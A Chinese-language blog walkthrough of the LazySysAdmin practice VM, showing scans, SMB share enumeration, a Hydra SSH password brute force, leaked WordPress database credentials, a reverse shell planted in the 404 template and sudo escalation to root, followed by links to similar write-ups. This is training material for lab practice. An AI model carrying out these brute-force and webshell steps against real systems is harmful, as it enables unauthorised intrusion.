lazysysadmin靶机

最新推荐文章于 2025-05-09 09:37:12 发布
最新推荐文章于 2025-05-09 09:37:12 发布
阅读量690 收藏 6
点赞数 18
CC 4.0 BY-SA版权
分类专栏： 网安 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_48923885/article/details/140188153

信息收集

打开虚拟机

直接扫描全网段 找到IP地址

┌──(root㉿kali)-[~]
└─# nmap -sN -T4 192.168.59.137 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 05:32 EDT
Nmap scan report for 192.168.59.137
Host is up (0.00028s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE         SERVICE
22/tcp   open|filtered ssh
80/tcp   open|filtered http
139/tcp  open|filtered netbios-ssn
445/tcp  open|filtered microsoft-ds
3306/tcp open|filtered mysql
6667/tcp open|filtered irc
MAC Address: 00:0C:29:12:7D:D2 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds

网段扫描完了用端口扫描，看一下都哪些端口开了，并且都什么服务

使用枚举检查一下共享文件夹 因为开启了139端口

──(root㉿kali)-[/usr/share/wordlists]
└─# enum4linux 192.168.59.137
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Jul  1 06:37:25 2024

 =========================================( Target Information )=========================================
                                                                                                                                 
Target ........... 192.168.59.137                                                                                                
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

发现了没有账号密码的共享文件夹，通过共享文件夹找到了Admin的密码。

威胁建模，漏洞分析

找了一下80端口，使用dirb扫描的比较全，dirsearch没扫到需要的东

┌──(root㉿kali)-[~]
└─# dirb http://192.168.59.137        

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Jul  1 05:52:22 2024
URL_BASE: http://192.168.59.137/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.59.137/ ----
==> DIRECTORY: http://192.168.59.137/apache/                                                                                    
+ http://192.168.59.137/index.html (CODE:200|SIZE:36072)                                                                        
+ http://192.168.59.137/info.php (CODE:200|SIZE:77268)                                                                          
==> DIRECTORY: http://192.168.59.137/javascript/                                                                                
==> DIRECTORY: http://192.168.59.137/old/                                                                                       
==> DIRECTORY: http://192.168.59.137/phpmyadmin/                                                                                
+ http://192.168.59.137/robots.txt (CODE:200|SIZE:92)                                                                           
+ http://192.168.59.137/server-status (CODE:403|SIZE:294)                                                                       
==> DIRECTORY: http://192.168.59.137/test/                                                                                      
==> DIRECTORY: http://192.168.59.137/wordpress/                                                                                 
==> DIRECTORY: http://192.168.59.137/wp/                                                                                        
                                                                                                                                
---- Entering directory: http://192.168.59.137/apache/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/javascript/ ----
==> DIRECTORY: http://192.168.59.137/javascript/jquery/                                                                         
                                                                                                                                
---- Entering directory: http://192.168.59.137/old/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/ ----
+ http://192.168.59.137/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)                                                            
+ http://192.168.59.137/phpmyadmin/index.php (CODE:200|SIZE:8263)                                                               
==> DIRECTORY: http://192.168.59.137/phpmyadmin/js/                                                                             
+ http://192.168.59.137/phpmyadmin/libraries (CODE:403|SIZE:301)                                                                
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/                                                                         
+ http://192.168.59.137/phpmyadmin/phpinfo.php (CODE:200|SIZE:8265)                                                             
+ http://192.168.59.137/phpmyadmin/setup (CODE:401|SIZE:460)                                                                    
==> DIRECTORY: http://192.168.59.137/phpmyadmin/themes/                                                                         
                                                                                                                                
---- Entering directory: http://192.168.59.137/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/ ----
+ http://192.168.59.137/wordpress/index.php (CODE:301|SIZE:0)                                                                   
==> DIRECTORY: http://192.168.59.137/wordpress/wp-admin/                                                                        
==> DIRECTORY: http://192.168.59.137/wordpress/wp-content/                                                                      
==> DIRECTORY: http://192.168.59.137/wordpress/wp-includes/                                                                     
+ http://192.168.59.137/wordpress/xmlrpc.php (CODE:405|SIZE:42)                                                                 
                                                                                                                                
---- Entering directory: http://192.168.59.137/wp/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/javascript/jquery/ ----
+ http://192.168.59.137/javascript/jquery/jquery (CODE:200|SIZE:252879)                                                         
+ http://192.168.59.137/javascript/jquery/version (CODE:200|SIZE:5)                                                             
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/js/ ----
==> DIRECTORY: http://192.168.59.137/phpmyadmin/js/jquery/                                                                      
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/locale/ ----
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/ar/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/bg/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/ca/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/cs/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/da/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/de/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/el/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/es/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/et/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/fi/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/fr/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/gl/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/hi/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/hr/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/hu/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/id/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/it/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/ja/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/ko/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/lt/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/nl/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/pl/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/pt/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/pt_BR/                                                                   
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/ro/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/ru/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/si/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/sk/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/sl/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/sv/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/th/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/tr/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/uk/                                                                      
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/zh_CN/                                                                   
==> DIRECTORY: http://192.168.59.137/phpmyadmin/locale/zh_TW/                                                                   
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/themes/ ----
==> DIRECTORY: http://192.168.59.137/phpmyadmin/themes/original/                                                                
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-admin/ ----
+ http://192.168.59.137/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)                                                          
==> DIRECTORY: http://192.168.59.137/wordpress/wp-admin/css/                                                                    
==> DIRECTORY: http://192.168.59.137/wordpress/wp-admin/images/                                                                 
==> DIRECTORY: http://192.168.59.137/wordpress/wp-admin/includes/                                                               
+ http://192.168.59.137/wordpress/wp-admin/index.php (CODE:302|SIZE:0)                                                          
==> DIRECTORY: http://192.168.59.137/wordpress/wp-admin/js/                                                                     
==> DIRECTORY: http://192.168.59.137/wordpress/wp-admin/maint/                                                                  
==> DIRECTORY: http://192.168.59.137/wordpress/wp-admin/network/                                                                
==> DIRECTORY: http://192.168.59.137/wordpress/wp-admin/user/                                                                   
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-content/ ----
+ http://192.168.59.137/wordpress/wp-content/index.php (CODE:200|SIZE:0)                                                        
==> DIRECTORY: http://192.168.59.137/wordpress/wp-content/plugins/                                                              
==> DIRECTORY: http://192.168.59.137/wordpress/wp-content/themes/                                                               
==> DIRECTORY: http://192.168.59.137/wordpress/wp-content/upgrade/                                                              
==> DIRECTORY: http://192.168.59.137/wordpress/wp-content/uploads/                                                              
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
----
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/locale/zh_TW/ ----
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/themes/original/ ----
==> DIRECTORY: http://192.168.59.137/phpmyadmin/themes/original/css/                                                            
==> DIRECTORY: http://192.168.59.137/phpmyadmin/themes/original/img/                                                            
==> DIRECTORY: http://192.168.59.137/phpmyadmin/themes/original/jquery/                                                         
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-admin/network/ ----
+ http://192.168.59.137/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)                                                  
+ http://192.168.59.137/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)                                                  
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-admin/user/ ----
+ http://192.168.59.137/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)                                                     
+ http://192.168.59.137/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)                                                     
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-content/plugins/ ----
+ http://192.168.59.137/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)                                                
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-content/themes/ ----
+ http://192.168.59.137/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)                                                 
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-content/upgrade/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/wordpress/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/themes/original/css/ ----
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/themes/original/img/ ----
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/themes/original/jquery/ ----
==> DIRECTORY: http://192.168.59.137/phpmyadmin/themes/original/jquery/images/                                                  
                                                                                                                                
---- Entering directory: http://192.168.59.137/phpmyadmin/themes/original/jquery/images/ ----
                                                                                                                                
-----------------
END_TIME: Mon Jul  1 05:55:10 2024
DOWNLOADED: 253660 - FOUND: 22

发现一个页面，以及cms WordPress，开源框架

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

又找到一个登录页面

http://192.168.59.137/wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.59.137%2Fwordpress%2Fwp-admin%2F&reauth=1

使用美杜莎没用明白，用了一下kali自带的字典rockyou.txt

┌──(root㉿kali)-[~]
└─# medusa -h 192.168.59.137 -u togie -p /usr/share/wordlists/rockyou.txt -M ssh 
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.59.137 (1 of 1, 0 complete) User: togie (1 of 1, 0 complete) Password: /usr/share/wordlists/rockyou.txt (1 of 1 complete)

九头蛇好用

┌──(root㉿kali)-[~]
└─# hydra -l togie -P /usr/share/wordlists/rockyou.txt ssh://192.168.59.137 -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-01 06:26:46
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.59.137:22/
[22][ssh] host: 192.168.59.137   **login: togie   password: 12345**
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-01 06:27:06

登录页需要密码，发现用户名是Admin

因为端口中开启了smb服务，试一下远程连接，直接链接进去了，

渗透攻击

smb 远程文件共享链接

mount -t cifs -o username=’’,password=’’ //192.168.69.137/share$ /mnt

远程之后再找WordPress配置文件

user：Admin

password：TogieMYSQL12345^^

打开WordPress中404界面把反弹shell脚本传上去

翻找目录找到了404文件所在位置

开启nc监听，访问文件

进入系统了

访问一下是www-data

使用python编译进入bash页面

python -c "import pty;pty.spawn('/bin/bash')"
  1. 使用ssh链接
┌──(root㉿kali)-[~]
└─# ssh togie@192.168.59.137
The authenticity of host '192.168.59.137 (192.168.59.137)' can't be established.
ED25519 key fingerprint is SHA256:95rO1jtge1Ag8dmmSGET2f806aQjiTODoBpDoEeefaw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y 
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.59.137' (ED25519) to the list of known hosts.
##################################################################################################
#                                          Welcome to Web_TR1                                    #
#                             All connections are monitored and recorded                         # 
#                    Disconnect IMMEDIATELY if you are not an authorized user!                   # 
##################################################################################################

togie@192.168.59.137's password: 
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Mon Jul  1 20:27:04 AEST 2024

  System load:  0.0               Processes:           181
  Usage of /:   47.5% of 2.89GB   Users logged in:     0
  Memory usage: 38%               IP address for eth0: 192.168.59.137
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

133 packages can be updated.
0 updates are security updates.

togie@LazySysAdmin:~$ ls
togie@LazySysAdmin:~$ whoami
togie
togie@LazySysAdmin:~$ ls
togie@LazySysAdmin:~$ id
uid=1000(togie) gid=1000(togie) groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)
togie@LazySysAdmin:~$ sudo su root
[sudo] password for togie: 
root@LazySysAdmin:/home/togie# ls
root@LazySysAdmin:/home/togie# dir
root@LazySysAdmin:/home/togie# cd
root@LazySysAdmin:~# ls
proof.txt
root@LazySysAdmin:~# cat proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851

Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie

Enjoy some random strings

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu

直接找到了flag

后渗透提权

togie@LazySysAdmin:~$ ls
togie@LazySysAdmin:~$ whoami
togie
togie@LazySysAdmin:~$ ls
togie@LazySysAdmin:~$ id
uid=1000(togie) gid=1000(togie) groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)
togie@LazySysAdmin:~$ sudo su root
[sudo] password for togie: 
root@LazySysAdmin:/home/togie# ls
root@LazySysAdmin:/home/togie# dir
root@LazySysAdmin:/home/togie# cd
root@LazySysAdmin:~# ls
proof.txt
root@LazySysAdmin:~# cat proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851

Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie

Enjoy some random strings

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu
root@LazySysAdmin:~#

拿下flag

总结

首先是采用不同的扫描器先扫网段在扫端口，都扫完了，看看开了什么服务。

先试一下80端口，毕竟是有界面的，但是相对麻烦，个人感觉毕竟是通过web应用来连接，不如ssh远程来的快

再试一下22端口，ssh链接，使用了九头蛇暴力破解账号密码，原因是弱口令密码，链接上一本万利，可以节省很多步骤

再就是139端口，可以共享文件夹，找到了Admin的密码以及方便80端口配置404页面

别人都是根据经验经验来的，所以要多打靶，多练习多实践。

[渗透测试笔记] 32.Lazysysadmin靶机渗透
H4ppyD0g的博客
06-24 355
这么长时间了，渗透方面的知识全忘，而且到现在还没有完整的渗透经验，所以这里在网上找到一个比较有名的靶机来玩一玩，每一步都废好长时间。。。唉，太难了。 主机发现-扫网段 nmap -sn 192.168.223.0/24 扫描同网段，只进行主机发现，不进行端口扫描 扫描开放端口 masscan --rate=100000 --ports 0-65535 192.168.223.134 masscan扫描目标主机开放端口，每秒发100000个包 确认端口开放的服务 nmap -sS 192.168.223.
渗透测试靶机（1）——Lazysysadmin
weixin_40170444的博客
07-15 869
kali：192.168.0.110 靶机：192.168.0.108 本次两台虚拟机都采用桥接模式，保证在同一局域网内。 1.主机发现 1.1查看kali的IP地址：ifconfig 1.2扫描网段：nmap -sn 192.168.0.0/24 2.端口扫描 查看该靶机开放了哪些端口：nmap -sS -Pn 192.168.0.108 3.端口上对应的服务信息 nmap -sV -O 192.168.0.108 4.对web服务器进行探测（80端口） 4.1 法一
vulnhub系列：Lazysysadmin
jq_j37的博客
08-04 462
vulnhub系列：Lazysysadmin靶机，打靶文章
Lazysysadmin[靶机]
weixin_43736033的博客
03-14 638
主机发现: 排除网关254 本地1 kali机器128 所以134是靶机 扫描结果如图 用enum4linux 穷举smb服务 连接进入smb服务 将smb服务 挂载到本地 访问txt文件 尝试利用 密码12345 连接ssh 链接后各种尝试 没有权限操作 可以用sudo su提权 提权以后访问进入root目录找到 在回到刚刚的wordpress中 在各文件夹中找有用的信息 进入到...
Vulnhub Lazysysadmin靶机攻击实战(一)
最新发布
初学者
05-09 732
整体来讲这个靶机的漏洞包括如下的一些。ssh爆破wpscan扫描wordpress漏洞文件共享信息泄露进入后台，Appearance页面404.php挂马，菜刀连接，反弹shell总体来讲这个靶机算是比较简单的入门级的靶机，想要渗透到这个靶机里面的方式也会有很多。可以从不同角度上进行渗透。
Lazysysadmin靶机
ybkj6666的博客
11-14 158
使用arp-scan生成接口地址，查看靶机ip为192.168.187.177。
Vulnhub之Lazysysadmin靶场
ierciyuan的博客
10-18 2024
Lazysysadmin靶场实战，ssh弱口令+提权，成功拿到flag
渗透测试学习之靶机Lazysysadmin
情感博主V
03-24 489
过程 1. 探测目标主机加粗样式 nmap -sP 192.168.246.0/24，得到目标主机IP：192.168.246.134 2. 信息搜集 端口信息 nmap -sV -p 1-65535 192.168.246.134 web站点相关服务信息 直接访问此IP，发现只是一个嵌了几张图片的页面，往下看目录信息才发现是wordpress的站： 目录信息 kali中dirb扫一下：...
打靶练习之--LazysysAdmin靶机
qq_34094920的博客
12-12 1190
渗透机IP：192.168.1.108目标靶机IP：192.168.1.106任务通过渗透机进入目标主机 获取flag。
渗透测试实战1——lazysysadmin靶机入侵
浅浅的博客
04-25 1214
一、实验环境 靶机：lazysysadmin 攻击机Kali：192.168.247.142 二、实验步骤 （一）主动信息收集 1、主机发现 nmap 192.168.247.0/24 -sn //-sn：制作主机发现，不做端口扫描；扫描结果包含本机IP 2、端口扫描（建议多扫几遍，以提高结果的准确性） 3、扫描端口详细信息 经端口扫描发现，该主机...
黑客渗透环境靶机搭建--------Lazysysadmin靶机搭建过程
边城浪子的博客
04-15 1702
Lazysysadmin靶机下载地址： 链接：https://pan.baidu.com/s/1BGpLkrEgsKwjRPgN0oUPUA 提取码：qxw6 系统 ：linux setp1:下载“Oracle VM VirtualBox”软件，并安装。 setp2:导入“Lazysysadmin”虚拟靶机 点击“管理”----“导入虚拟电脑”----在“文件”处，选择一个文件...
lazysysadmin靶机攻略
weixin_43179779的博客
01-30 359
lazysysadmin
靶机lazyadmin
qq_45212316的博客
12-02 1053
配置环境靶机ip:192.168.87.174。
靶机实战-Lazysysadmin
滕财然的博客
01-19 1669
靶机实战-Lazysysadmin 1、主机发现 netdiscover -i eth0 -r 192.168.232.0/24 //也可以做主机发现 2、扫描开放端口 确认端口开的服务：nmap -sV -T4 -O -p 端口 IP 发现有Mysql、SSH、Samba 首先22端口ssh爆破：要有字典 启动msfconsole show options：查看需要的参数 添加目...
靶机测试--Lazysysadmin
ximo的博客
03-07 438
目录信息收集主机发现端口扫描目录扫描漏洞发现使用nessus进行漏洞扫描使用msf进行ssh登录漏洞利用使用ssh若口令提权一（使用sudo提权）提权二（web漏洞提权）补充139，445端口的利用总结 信息收集 主机发现 端口扫描 masscan探测开放端口： nmap探测端口开放的服务： 目录扫描 首先访问80服务： 可以访问，但是找不到利用点。 进行目录扫描： 漏洞发现 1.进入phpmyadmin页面： 尝试弱口令，无法进入。 2.进入wordpress： 存在一个搜索框，输入内容，在
lazysysadmin靶机练习
qq_45300786的博客
05-28 821
一、实验环境1.靶机：Lazysysadmin 2.测试机：Kali 3.帮凶机：Windows 10 4.扫描工具：Nesssus +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 二，这里我们分为2种方式来实验 1、用字典来爆破连接 2、用木马来连接 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
靶机记录（六）：Lazysysadmin
weixin_47306547的博客
10-29 1418
目录 主机发现 端口扫描 SSH尝试连接（GetShell-1） Web渗透 目录扫描 漏洞挖掘 用户名枚举 共享服务 GetShell 提权 清痕迹，留后门 主机发现 端口扫描 或（信息量大的时候不建议） SSH尝试连接（GetShell-1） Web渗透 目录扫描 存在目录遍历漏洞，但是没啥卵用 漏洞挖掘 综上：此处可以采用 用户名枚举 来破解出可能的用户名，再...
vulnhub靶机 Lazysysadmin（渗透测试详解）
2301_78721909的博客
08-11 482
vulnhub靶机 Lazysysadmin（渗透测试详解）
CMS靶机源码深入剖析
资源摘要信息:"cms.rar，靶机的源码" 知识点: 1. 靶机概念：在网络安全领域，靶机（Target Machine）通常指的是一台用于安全研究、教学或者测试的计算机系统。靶机的目标是模拟真实环境中的攻击目标，让安全研究...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值